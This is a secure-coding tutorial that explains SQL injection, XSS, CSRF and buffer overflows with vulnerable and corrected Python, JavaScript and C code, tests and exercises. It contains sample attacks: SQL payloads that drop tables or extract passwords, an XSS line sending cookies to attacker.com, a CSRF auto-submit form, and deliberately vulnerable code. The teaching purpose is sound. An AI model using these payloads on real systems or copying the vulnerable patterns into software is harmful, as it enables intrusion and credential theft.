Common Vulnerabilities

Introduction

Even with the best security principles, authentication, and cryptography in place, applications can still be compromised through common vulnerabilities. Many of these vulnerabilities stem from trusting user input, improper validation, or misunderstanding how data flows through systems.

This reading covers the most critical vulnerabilities every developer must understand: SQL injection, cross-site scripting (XSS), cross-site request forgery (CSRF), and buffer overflows. More importantly, you'll learn how to prevent these vulnerabilities through secure coding practices.

The OWASP Top 10 provides a regularly updated list of the most critical web application security risks. Understanding these vulnerabilities and their countermeasures is essential for building secure applications.

Learning Objectives

By the end of this reading, you will be able to:

  • Understand how SQL injection works and prevent it using parameterized queries
  • Identify and prevent XSS vulnerabilities through proper output encoding
  • Recognize CSRF attacks and implement appropriate defenses
  • Understand buffer overflow vulnerabilities and memory safety
  • Apply input validation and output encoding correctly
  • Implement secure coding practices throughout the development lifecycle
  • Use security testing tools to find vulnerabilities

SQL Injection

SQL injection is one of the most dangerous and common web application vulnerabilities. It occurs when untrusted data is sent to an interpreter as part of a command or query.

How SQL Injection Works

# VULNERABLE CODE - NEVER DO THIS
def get_user(username):
    query = f"SELECT * FROM users WHERE username = '{username}'"
    result = db.execute(query)
    return result

# Attack:
# username = "admin' OR '1'='1"
# Query becomes: SELECT * FROM users WHERE username = 'admin' OR '1'='1'
# This returns all users because '1'='1' is always true!

# Even worse:
# username = "admin'; DROP TABLE users; --"
# Query becomes: SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'
# This deletes the entire users table!

Types of SQL Injection

1. Classic SQL Injection

# VULNERABLE: String concatenation
def login(username, password):
    query = f"""
        SELECT * FROM users
        WHERE username = '{username}'
        AND password = '{password}'
    """
    user = db.execute(query).fetchone()
    return user is not None

# Attack: username = "admin' --"
# Query becomes: SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
# The -- comments out the password check!

2. Blind SQL Injection

# VULNERABLE: Boolean-based blind injection
def check_user_exists(username):
    query = f"SELECT COUNT(*) FROM users WHERE username = '{username}'"
    count = db.execute(query).fetchone()[0]
    return count > 0

# Attack: username = "admin' AND SUBSTRING(password, 1, 1) = 'a"
# Attacker can extract password character by character based on true/false response

3. Time-Based Blind SQL Injection

# Attack: username = "admin' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --"
# If password starts with 'a', query takes 5 seconds to respond
# Attacker can extract data based on response time

Prevention: Parameterized Queries

# SECURE: Use parameterized queries (prepared statements)
def get_user_secure(username):
    # Use ? as placeholder (SQLite syntax)
    query = "SELECT * FROM users WHERE username = ?"

    # Database driver escapes the parameter properly
    result = db.execute(query, (username,))
    return result.fetchone()

# Works with any input, including:
# username = "admin' OR '1'='1"
# This is treated as literal string, not SQL code

# PostgreSQL syntax uses %s
def get_user_postgres(username):
    query = "SELECT * FROM users WHERE username = %s"
    result = cursor.execute(query, (username,))
    return cursor.fetchone()

# MySQL/MySQL Connector syntax also uses %s
def get_user_mysql(username):
    query = "SELECT * FROM users WHERE username = %s"
    cursor.execute(query, (username,))
    return cursor.fetchone()

Using ORMs for Safety

# Using SQLAlchemy ORM
from sqlalchemy import create_engine, Column, String, Integer
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker

Base = declarative_base()

class User(Base):
    __tablename__ = 'users'

    id = Column(Integer, primary_key=True)
    username = Column(String)
    email = Column(String)

# SECURE: ORM handles parameterization
def get_user_orm(username):
    # This is automatically parameterized
    user = session.query(User).filter(User.username == username).first()
    return user

# Even complex queries are safe
def search_users_orm(search_term):
    users = session.query(User).filter(
        User.username.like(f'%{search_term}%')
    ).all()
    return users

When You Must Build Dynamic Queries

# Sometimes you need dynamic queries (e.g., dynamic column selection)
# Use whitelisting, not blacklisting

ALLOWED_COLUMNS = {'id', 'username', 'email', 'created_at'}
ALLOWED_ORDERS = {'ASC', 'DESC'}

def get_users_sorted(sort_column, sort_order):
    # VALIDATE inputs against whitelist
    if sort_column not in ALLOWED_COLUMNS:
        raise ValueError("Invalid sort column")

    if sort_order.upper() not in ALLOWED_ORDERS:
        raise ValueError("Invalid sort order")

    # Safe to use in query because we validated against whitelist
    query = f"SELECT * FROM users ORDER BY {sort_column} {sort_order}"
    return db.execute(query).fetchall()

# NEVER use blacklisting
def unsafe_validation(sort_column):
    # BAD: Trying to block dangerous characters
    if "'" in sort_column or "--" in sort_column or ";" in sort_column:
        raise ValueError("Invalid input")
    # Attacker can still bypass this with creative payloads

Complete Example: Secure Database Access

import sqlite3
from contextlib import contextmanager
from typing import List, Dict, Any

class SecureDatabase:
    """Secure database access with parameterized queries"""

    def __init__(self, db_path):
        self.db_path = db_path

    @contextmanager
    def get_connection(self):
        """Context manager for database connections"""
        conn = sqlite3.connect(self.db_path)
        conn.row_factory = sqlite3.Row  # Return dict-like rows
        try:
            yield conn
            conn.commit()
        except Exception:
            conn.rollback()
            raise
        finally:
            conn.close()

    def get_user(self, username: str) -> Dict[str, Any]:
        """Get user by username - SECURE"""
        with self.get_connection() as conn:
            cursor = conn.execute(
                "SELECT id, username, email FROM users WHERE username = ?",
                (username,)
            )
            row = cursor.fetchone()
            return dict(row) if row else None

    def search_users(self, search_term: str) -> List[Dict[str, Any]]:
        """Search users - SECURE"""
        with self.get_connection() as conn:
            # Use wildcards in parameter, not in query string
            cursor = conn.execute(
                "SELECT id, username, email FROM users WHERE username LIKE ?",
                (f'%{search_term}%',)
            )
            return [dict(row) for row in cursor.fetchall()]

    def create_user(self, username: str, email: str, password_hash: str) -> int:
        """Create new user - SECURE"""
        with self.get_connection() as conn:
            cursor = conn.execute(
                "INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)",
                (username, email, password_hash)
            )
            return cursor.lastrowid

    def update_user_email(self, user_id: int, new_email: str) -> bool:
        """Update user email - SECURE"""
        with self.get_connection() as conn:
            cursor = conn.execute(
                "UPDATE users SET email = ? WHERE id = ?",
                (new_email, user_id)
            )
            return cursor.rowcount > 0

    def delete_user(self, user_id: int) -> bool:
        """Delete user - SECURE"""
        with self.get_connection() as conn:
            cursor = conn.execute(
                "DELETE FROM users WHERE id = ?",
                (user_id,)
            )
            return cursor.rowcount > 0

# Usage
db = SecureDatabase('app.db')

# All of these are safe from SQL injection
user = db.get_user("admin' OR '1'='1")  # Treated as literal string
results = db.search_users("test'; DROP TABLE users; --")  # Safe
db.create_user("new_user", "user@example.com", "hashed_password")

Cross-Site Scripting (XSS)

XSS occurs when an application includes untrusted data in web pages without proper validation or escaping. Attackers can inject malicious scripts that execute in victims' browsers.

Types of XSS

1. Reflected XSS

# VULNERABLE: Reflecting user input without escaping
from flask import Flask, request

app = Flask(__name__)

@app.route('/search')
def search():
    query = request.args.get('q', '')

    # BAD: Directly embedding user input in HTML
    html = f"""
    <html>
        <body>
            <h1>Search Results for: {query}</h1>
        </body>
    </html>
    """
    return html

# Attack URL: /search?q=<script>alert('XSS')</script>
# Browser executes the script!

# More dangerous: /search?q=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
# This steals the user's session cookie

2. Stored XSS

# VULNERABLE: Storing and displaying unescaped user input
@app.route('/comment', methods=['POST'])
def add_comment():
    comment = request.form.get('comment')

    # BAD: Storing user input without sanitization
    db.execute("INSERT INTO comments (text) VALUES (?)", (comment,))

    return "Comment added"

@app.route('/comments')
def view_comments():
    comments = db.execute("SELECT text FROM comments").fetchall()

    # BAD: Displaying without escaping
    html = "<html><body>"
    for comment in comments:
        html += f"<p>{comment['text']}</p>"
    html += "</body></html>"

    return html

# Attacker submits: <script>alert('XSS')</script>
# Script is stored in database and executes for every user who views comments

3. DOM-based XSS

// VULNERABLE: Client-side JavaScript modifying DOM with untrusted data
// page.html
<script>
    // Get value from URL fragment
    const name = window.location.hash.substring(1);

    // BAD: Directly setting innerHTML with user input
    document.getElementById('welcome').innerHTML = "Welcome " + name;
</script>

// Attack URL: page.html#<img src=x onerror=alert('XSS')>

Prevention: Output Encoding

from flask import Flask, render_template, request, escape
from markupsafe import Markup
import html

app = Flask(__name__)

# SECURE: Using template engine with auto-escaping
@app.route('/search')
def search_secure():
    query = request.args.get('q', '')

    # Jinja2 automatically escapes variables
    return render_template('search.html', query=query)

# search.html:
# <h1>Search Results for: {{ query }}</h1>
# {{ query }} is automatically HTML-escaped

# SECURE: Manual escaping when needed
@app.route('/search_manual')
def search_manual():
    query = request.args.get('q', '')

    # Escape HTML entities
    escaped_query = html.escape(query)

    html_response = f"""
    <html>
        <body>
            <h1>Search Results for: {escaped_query}</h1>
        </body>
    </html>
    """
    return html_response

# Input: <script>alert('XSS')</script>
# Output: &lt;script&gt;alert('XSS')&lt;/script&gt;
# Displayed as text, not executed as code

Context-Specific Encoding

import json
import html
from urllib.parse import quote

def encode_for_html(data):
    """Encode for HTML body context"""
    return html.escape(str(data))

def encode_for_html_attribute(data):
    """Encode for HTML attribute context"""
    # Use quotes and escape them
    return html.escape(str(data), quote=True)

def encode_for_javascript(data):
    """Encode for JavaScript context"""
    # Use JSON encoding
    return json.dumps(data)

def encode_for_url(data):
    """Encode for URL context"""
    return quote(str(data))

# Example usage
user_input = "<script>alert('XSS')</script>"

# In HTML body
html_body = f"<p>{encode_for_html(user_input)}</p>"

# In HTML attribute
html_attr = f'<div data-user="{encode_for_html_attribute(user_input)}">Content</div>'

# In JavaScript
js_code = f"<script>var userName = {encode_for_javascript(user_input)};</script>"

# In URL
url = f"<a href='/profile?name={encode_for_url(user_input)}'>Profile</a>"

Content Security Policy (CSP)

from flask import Flask, make_response

app = Flask(__name__)

@app.route('/page')
def secure_page():
    response = make_response(render_template('page.html'))

    # Set Content Security Policy header
    csp = (
        "default-src 'self'; "  # Only load resources from same origin
        "script-src 'self' https://trusted-cdn.com; "  # Scripts from self and trusted CDN
        "style-src 'self' 'unsafe-inline'; "  # Styles from self, allow inline
        "img-src 'self' data: https:; "  # Images from self, data URIs, and HTTPS
        "font-src 'self' https://fonts.googleapis.com; "
        "connect-src 'self'; "  # AJAX/WebSocket only to same origin
        "frame-ancestors 'none'; "  # Prevent clickjacking
        "base-uri 'self'; "  # Restrict <base> tag
        "form-action 'self'; "  # Forms can only submit to same origin
    )

    response.headers['Content-Security-Policy'] = csp

    return response

Safe HTML with Sanitization

import bleach

# When you need to allow some HTML (e.g., blog posts with formatting)
# Use a whitelist-based sanitizer

def sanitize_html(html_input):
    """Allow only safe HTML tags and attributes"""

    # Whitelist of allowed tags
    allowed_tags = [
        'p', 'br', 'strong', 'em', 'u',
        'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
        'ul', 'ol', 'li',
        'a', 'img',
        'blockquote', 'code', 'pre'
    ]

    # Whitelist of allowed attributes
    allowed_attributes = {
        'a': ['href', 'title'],
        'img': ['src', 'alt', 'title'],
    }

    # Whitelist of allowed protocols
    allowed_protocols = ['http', 'https', 'mailto']

    # Clean the HTML
    clean_html = bleach.clean(
        html_input,
        tags=allowed_tags,
        attributes=allowed_attributes,
        protocols=allowed_protocols,
        strip=True  # Remove disallowed tags completely
    )

    return clean_html

# Example
user_html = """
<p>Hello <strong>world</strong>!</p>
<script>alert('XSS')</script>
<a href="javascript:alert('XSS')">Click me</a>
<a href="https://example.com">Safe link</a>
"""

safe_html = sanitize_html(user_html)
print(safe_html)
# Output:
# <p>Hello <strong>world</strong>!</p>
# <a href="https://example.com">Safe link</a>

Cross-Site Request Forgery (CSRF)

CSRF tricks a user's browser into making unwanted requests to a site where they're authenticated. The attacker exploits the browser's automatic inclusion of cookies.

How CSRF Works

<!-- Attacker's malicious site -->
<html>
<body>
    <h1>You Won a Prize!</h1>

    <!-- Hidden form that submits to victim site -->
    <form action="https://bank.com/transfer" method="POST" id="csrf">
        <input type="hidden" name="to_account" value="attacker_account">
        <input type="hidden" name="amount" value="10000">
    </form>

    <script>
        // Auto-submit form when page loads
        document.getElementById('csrf').submit();
    </script>
</body>
</html>

When a logged-in user visits the attacker's page:

  1. Browser automatically includes session cookie with the request
  2. Bank site thinks it's a legitimate request from the user
  3. Money is transferred to attacker

Prevention: CSRF Tokens

import secrets
from flask import Flask, session, request, render_template, abort

app = Flask(__name__)
app.secret_key = 'your-secret-key'

def generate_csrf_token():
    """Generate CSRF token for form"""
    if 'csrf_token' not in session:
        session['csrf_token'] = secrets.token_hex(32)
    return session['csrf_token']

def validate_csrf_token(token):
    """Validate CSRF token"""
    if not token or token != session.get('csrf_token'):
        abort(403, 'Invalid CSRF token')

# Make token available to all templates
@app.context_processor
def inject_csrf_token():
    return dict(csrf_token=generate_csrf_token)

@app.route('/transfer', methods=['GET', 'POST'])
def transfer_money():
    if request.method == 'GET':
        # Generate and display form with CSRF token
        return render_template('transfer.html')

    # Validate CSRF token on POST
    token = request.form.get('csrf_token')
    validate_csrf_token(token)

    # Process transfer
    to_account = request.form.get('to_account')
    amount = request.form.get('amount')

    # Transfer money...

    return "Transfer successful"
<!-- transfer.html -->
<form method="POST" action="/transfer">
    <!-- Include CSRF token in form -->
    <input type="hidden" name="csrf_token" value="{{ csrf_token }}">

    <label>To Account:</label>
    <input type="text" name="to_account">

    <label>Amount:</label>
    <input type="number" name="amount">

    <button type="submit">Transfer</button>
</form>

CSRF Protection for APIs

# For AJAX requests, use custom headers
from flask import Flask, request, jsonify

@app.route('/api/transfer', methods=['POST'])
def api_transfer():
    # Verify custom header (CSRF tokens can't be set by forms)
    csrf_token = request.headers.get('X-CSRF-Token')

    if not csrf_token or csrf_token != session.get('csrf_token'):
        return jsonify({'error': 'Invalid CSRF token'}), 403

    # Process request
    data = request.get_json()
    # ...

    return jsonify({'success': True})
// Client-side: Include CSRF token in AJAX requests
fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
    },
    body: JSON.stringify({
        to_account: 'account123',
        amount: 100
    })
});

SameSite Cookies

from flask import Flask, make_response

@app.route('/login', methods=['POST'])
def login():
    # Authenticate user...

    response = make_response({'success': True})

    # Set cookie with SameSite attribute
    response.set_cookie(
        'session_id',
        session_id,
        httponly=True,      # Prevents JavaScript access
        secure=True,        # Only sent over HTTPS
        samesite='Strict'   # Not sent with cross-site requests
    )

    return response

# SameSite values:
# - Strict: Never sent with cross-site requests (best security, may break some UX)
# - Lax: Sent with top-level navigation (GET), not with POST/AJAX (good balance)
# - None: Sent with all requests (requires Secure flag)

Buffer Overflow

Buffer overflows occur when data written to a buffer exceeds its allocated size, potentially overwriting adjacent memory. While less common in modern high-level languages, they're critical to understand.

Buffer Overflow in C

// VULNERABLE C code
#include <string.h>

void vulnerable_function(char *user_input) {
    char buffer[64];

    // BAD: No bounds checking
    strcpy(buffer, user_input);  // If user_input > 64 chars, overflow!

    // Process buffer...
}

// Attack: If user_input is 100 bytes, it overwrites:
// - The buffer (64 bytes)
// - Adjacent stack variables
// - Return address (attacker can redirect execution!)

Prevention in C/C++

// SECURE: Bounds checking
#include <string.h>

void secure_function(char *user_input) {
    char buffer[64];

    // Use strncpy with size limit
    strncpy(buffer, user_input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';  // Ensure null termination

    // Process buffer...
}

// Even better: Use safe string functions
#include <stdio.h>

void even_safer_function(char *user_input) {
    char buffer[64];

    // snprintf limits output
    snprintf(buffer, sizeof(buffer), "%s", user_input);

    // Process buffer...
}

Memory Safety in Python

# Python is memory-safe by design
# Buffer overflows in the traditional sense don't occur

def process_input(user_input):
    # No fixed buffer size - strings are dynamic
    buffer = user_input  # Safe, no overflow possible

    # However, you can still have logic vulnerabilities
    if len(user_input) > 1000:
        raise ValueError("Input too large")

    return buffer

# But be careful with native extensions and ctypes
import ctypes

# VULNERABLE: Using ctypes incorrectly
def unsafe_ctypes(user_input):
    # Creating a fixed-size buffer
    buffer = ctypes.create_string_buffer(64)

    # BAD: No size checking
    ctypes.memmove(buffer, user_input.encode(), len(user_input))

# SECURE: Check size first
def safe_ctypes(user_input):
    max_size = 64
    input_bytes = user_input.encode()

    if len(input_bytes) >= max_size:
        raise ValueError(f"Input too large (max {max_size-1} bytes)")

    buffer = ctypes.create_string_buffer(max_size)
    ctypes.memmove(buffer, input_bytes, len(input_bytes))

Input Validation

Proper input validation is critical for preventing many vulnerabilities.

Validation Strategy

from typing import Any
import re

class InputValidator:
    """Comprehensive input validation"""

    @staticmethod
    def validate_email(email: str) -> bool:
        """Validate email format"""
        # Basic email regex (for production, use dedicated library)
        pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
        return bool(re.match(pattern, email))

    @staticmethod
    def validate_username(username: str) -> tuple[bool, str]:
        """Validate username with detailed error"""
        if not username:
            return False, "Username is required"

        if len(username) < 3:
            return False, "Username must be at least 3 characters"

        if len(username) > 20:
            return False, "Username must be at most 20 characters"

        # Allow alphanumeric and underscore only
        if not re.match(r'^[a-zA-Z0-9_]+$', username):
            return False, "Username can only contain letters, numbers, and underscores"

        return True, ""

    @staticmethod
    def validate_integer_range(value: Any, min_val: int, max_val: int) -> tuple[bool, str]:
        """Validate integer is within range"""
        try:
            int_value = int(value)
        except (ValueError, TypeError):
            return False, "Must be a valid integer"

        if int_value < min_val or int_value > max_val:
            return False, f"Must be between {min_val} and {max_val}"

        return True, ""

    @staticmethod
    def sanitize_filename(filename: str) -> str:
        """Sanitize filename to prevent path traversal"""
        # Remove path components
        filename = filename.split('/')[-1].split('\\')[-1]

        # Remove potentially dangerous characters
        filename = re.sub(r'[^a-zA-Z0-9._-]', '', filename)

        # Prevent hidden files
        if filename.startswith('.'):
            filename = filename[1:]

        # Ensure filename is not empty
        if not filename:
            filename = 'unnamed'

        return filename

# Usage
validator = InputValidator()

# Email validation
is_valid = validator.validate_email("user@example.com")
print(f"Valid email: {is_valid}")

# Username validation
is_valid, error = validator.validate_username("user_123")
if not is_valid:
    print(f"Error: {error}")

# Integer range validation
is_valid, error = validator.validate_integer_range(50, 1, 100)
if not is_valid:
    print(f"Error: {error}")

# Filename sanitization
safe_filename = validator.sanitize_filename("../../etc/passwd")
print(f"Sanitized: {safe_filename}")  # etcpasswd

Whitelist vs Blacklist

# BAD: Blacklisting (trying to block bad characters)
def validate_input_blacklist(user_input):
    # Trying to block dangerous characters
    dangerous_chars = ['<', '>', '"', "'", ';', '--', '/*', '*/']

    for char in dangerous_chars:
        if char in user_input:
            return False

    return True

# Problem: Attackers can find characters/sequences you didn't think of

# GOOD: Whitelisting (only allowing known good characters)
def validate_input_whitelist(user_input):
    # Only allow alphanumeric and specific characters
    allowed_pattern = r'^[a-zA-Z0-9 \.,!?-]+$'

    return bool(re.match(allowed_pattern, user_input))

# Much safer: Rejects anything not explicitly allowed

Secure Coding Practices

Principle of Least Privilege (Code Level)

import os

# BAD: Running with unnecessary privileges
def process_file(filepath):
    # Running with root/admin privileges for no reason
    with open(filepath, 'r') as f:
        data = f.read()
    return data

# GOOD: Drop privileges when not needed
def process_file_secure(filepath):
    # If we started with elevated privileges, drop them
    if os.geteuid() == 0:  # Running as root
        # Drop to normal user
        os.setuid(1000)  # Change to specific user ID

    with open(filepath, 'r') as f:
        data = f.read()
    return data

# BETTER: Design so elevated privileges are never needed
# Use service accounts with minimal permissions

Error Handling

# BAD: Revealing sensitive information in errors
@app.route('/user/<user_id>')
def get_user(user_id):
    try:
        user = db.execute(
            "SELECT * FROM users WHERE id = ?",
            (user_id,)
        ).fetchone()

        if not user:
            # Reveals that user doesn't exist
            return "User ID not found in database", 404

        return jsonify(user)

    except Exception as e:
        # BAD: Revealing internal error details
        return f"Database error: {str(e)}", 500

# GOOD: Generic error messages for users, detailed logs for developers
import logging

@app.route('/user/<user_id>')
def get_user_secure(user_id):
    try:
        user = db.execute(
            "SELECT id, username, email FROM users WHERE id = ?",
            (user_id,)
        ).fetchone()

        if not user:
            # Generic message, doesn't reveal information
            return jsonify({'error': 'Not found'}), 404

        return jsonify(user)

    except Exception as e:
        # Log detailed error securely
        logging.error(f"Database error in get_user: {e}", exc_info=True)

        # Return generic error to user
        return jsonify({'error': 'Internal server error'}), 500

Secure Configuration

import os
from dotenv import load_dotenv

# BAD: Hardcoded secrets
DATABASE_URL = "postgresql://admin:password123@localhost/mydb"
API_KEY = "sk_live_abc123xyz789"
SECRET_KEY = "hardcoded-secret-key"

# GOOD: Environment variables
load_dotenv()  # Load from .env file (not in version control!)

class Config:
    # Load from environment
    DATABASE_URL = os.environ.get('DATABASE_URL')
    API_KEY = os.environ.get('API_KEY')
    SECRET_KEY = os.environ.get('SECRET_KEY')

    # Validate required settings
    @classmethod
    def validate(cls):
        required = ['DATABASE_URL', 'API_KEY', 'SECRET_KEY']
        missing = [key for key in required if not getattr(cls, key)]

        if missing:
            raise ValueError(f"Missing required config: {', '.join(missing)}")

# Before starting app
Config.validate()

Secure Defaults

# BAD: Insecure defaults
class UserSettings:
    def __init__(self):
        self.public_profile = True       # BAD: Default to public
        self.share_email = True          # BAD: Default to sharing
        self.enable_2fa = False          # BAD: Default to less secure

# GOOD: Secure defaults
class UserSettings:
    def __init__(self):
        self.public_profile = False      # GOOD: Default to private
        self.share_email = False         # GOOD: Default to not sharing
        self.enable_2fa = True           # GOOD: Default to more secure
        self.session_timeout = 15        # GOOD: Short timeout

    # User can opt-in to less secure settings if they choose

Security Testing

Static Analysis

# Use tools like:
# - Bandit (Python security linter)
# - Semgrep (multi-language static analysis)
# - SonarQube (comprehensive code quality)

# Example Bandit check:
# bandit -r ./src

# Will flag issues like:
import pickle  # B301: Pickle is insecure

def load_data(filename):
    with open(filename, 'rb') as f:
        return pickle.load(f)  # Flagged: arbitrary code execution risk

Dynamic Testing

# Automated security testing during development

import requests

def test_sql_injection():
    """Test for SQL injection vulnerability"""
    payloads = [
        "' OR '1'='1",
        "admin' --",
        "'; DROP TABLE users; --"
    ]

    for payload in payloads:
        response = requests.get(
            'http://localhost:5000/user',
            params={'username': payload}
        )

        # Should return 400/401, not 200 with data
        assert response.status_code != 200, f"Possible SQL injection with payload: {payload}"

def test_xss():
    """Test for XSS vulnerability"""
    payload = "<script>alert('XSS')</script>"

    response = requests.get(
        'http://localhost:5000/search',
        params={'q': payload}
    )

    # Response should not contain unescaped script tag
    assert payload not in response.text, "Possible XSS vulnerability"
    assert '&lt;script&gt;' in response.text, "Script not properly escaped"

def test_csrf_protection():
    """Test CSRF protection"""
    # Attempt POST without CSRF token
    response = requests.post(
        'http://localhost:5000/transfer',
        data={'to_account': '123', 'amount': '1000'}
    )

    # Should be rejected
    assert response.status_code == 403, "CSRF protection not working"

Exercises

Basic Exercises

  1. SQL Injection Fix: Fix this vulnerable code:
def search_products(category, min_price, max_price):
    query = f"SELECT * FROM products WHERE category = '{category}' AND price BETWEEN {min_price} AND {max_price}"
    return db.execute(query).fetchall()
  1. XSS Prevention: Fix this vulnerable template that displays user comments:
@app.route('/comments')
def show_comments():
    comments = db.get_all_comments()
    html = "<html><body>"
    for comment in comments:
        html += f"<p><b>{comment.username}</b>: {comment.text}</p>"
    html += "</body></html>"
    return html
  1. Input Validation: Write a validator for phone numbers that:
    • Accepts formats: (123) 456-7890, 123-456-7890, 1234567890
    • Rejects everything else
    • Returns normalized format

Intermediate Exercises

  1. Complete CSRF Protection: Implement CSRF protection for a Flask app with:

    • Token generation and validation
    • Template integration
    • AJAX support
    • Token refresh mechanism
  2. Secure File Upload: Build a secure file upload system that:

    • Validates file type (whitelist)
    • Limits file size
    • Sanitizes filenames
    • Stores files securely
    • Prevents path traversal
    • Generates unique filenames
  3. Security Headers: Create middleware that adds security headers:

    • Content-Security-Policy
    • X-Frame-Options
    • X-Content-Type-Options
    • Strict-Transport-Security
    • X-XSS-Protection

Advanced Exercises

  1. Security Audit: Perform security audit on this code and fix all vulnerabilities:
import pickle
import sqlite3
from flask import Flask, request

app = Flask(__name__)
db = sqlite3.connect('app.db', check_same_thread=False)

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    user = db.execute(query).fetchone()

    if user:
        session_data = pickle.dumps({'user_id': user[0]})
        return f"<html><body>Welcome {username}! <a href='/logout'>Logout</a></body></html>"

    return "Login failed"

@app.route('/profile')
def profile():
    user_id = request.args.get('id')
    query = f"SELECT * FROM users WHERE id={user_id}"
    user = db.execute(query).fetchone()
    return f"<h1>Profile: {user[1]}</h1><p>Email: {user[2]}</p>"
  1. Rate Limiting: Implement rate limiting to prevent:

    • Brute force login attempts
    • API abuse
    • DDoS attacks
    • Include IP-based and user-based limits
  2. Security Testing Suite: Create a security test suite:

    • SQL injection tests (multiple types)
    • XSS tests (reflected, stored, DOM-based)
    • CSRF tests
    • Authentication bypass attempts
    • Authorization bypass attempts
    • Generate security report

Summary

Common vulnerabilities can be prevented with proper coding practices:

  1. SQL Injection: Always use parameterized queries. Never concatenate user input into SQL. Use ORMs when possible. Whitelist allowed values for dynamic queries.

  2. XSS: Encode all output. Use context-appropriate encoding (HTML, JavaScript, URL). Implement Content Security Policy. Use templating engines with auto-escaping.

  3. CSRF: Use CSRF tokens for state-changing requests. Implement SameSite cookies. Validate custom headers for AJAX requests.

  4. Buffer Overflow: Use memory-safe languages when possible. If using C/C++, use bounds-checking functions. Validate all input sizes.

  5. Input Validation: Validate all input. Use whitelisting over blacklisting. Validate on server-side, not just client-side. Sanitize filenames and paths.

  6. Secure Coding: Apply principle of least privilege. Use secure defaults. Handle errors without leaking information. Never hardcode secrets. Implement security in depth.

Key Takeaways

  • Never trust user input - validate and sanitize everything
  • Use parameterized queries to prevent SQL injection
  • Encode output to prevent XSS
  • Use CSRF tokens for state-changing operations
  • Security must be built in, not bolted on
  • Regular security testing is essential
  • Keep dependencies updated
  • Follow secure coding guidelines from OWASP and others

Further Reading

  • OWASP Top 10: https://owasp.org/www-project-top-ten/
  • OWASP Cheat Sheet Series: https://cheatsheetseries.owasp.org/
  • CWE Top 25: https://cwe.mitre.org/top25/
  • SANS Top 25: https://www.sans.org/top25-software-errors/
  • "The Web Application Hacker's Handbook" by Stuttard and Pinto

Course Completion

Congratulations on completing Module 11: Security Fundamentals! You now have a solid foundation in:

  • Security principles (CIA triad, defense in depth, least privilege)
  • Cryptography (hashing, symmetric/asymmetric encryption, digital signatures)
  • Authentication and authorization (passwords, sessions, JWT, OAuth)
  • Common vulnerabilities and how to prevent them

Security is a journey, not a destination. Continue learning, stay updated on new vulnerabilities, and always think with a security mindset. Every line of code you write is an opportunity to build something secure or introduce a vulnerability - choose wisely.

This concludes the computer science tutorial series. You've covered fundamental concepts from algorithms and data structures through networking, databases, and security. Apply these principles in your development work, continue learning, and build amazing, secure software!

Next Steps

To continue your security education:

  • Practice with CTF (Capture The Flag) challenges
  • Contribute to security tools and libraries
  • Follow security researchers and advisories
  • Perform security reviews of your own code
  • Consider security certifications (CEH, OSCP, CISSP)
  • Stay current with OWASP and security communities

Thank you for your dedication to learning computer science fundamentals!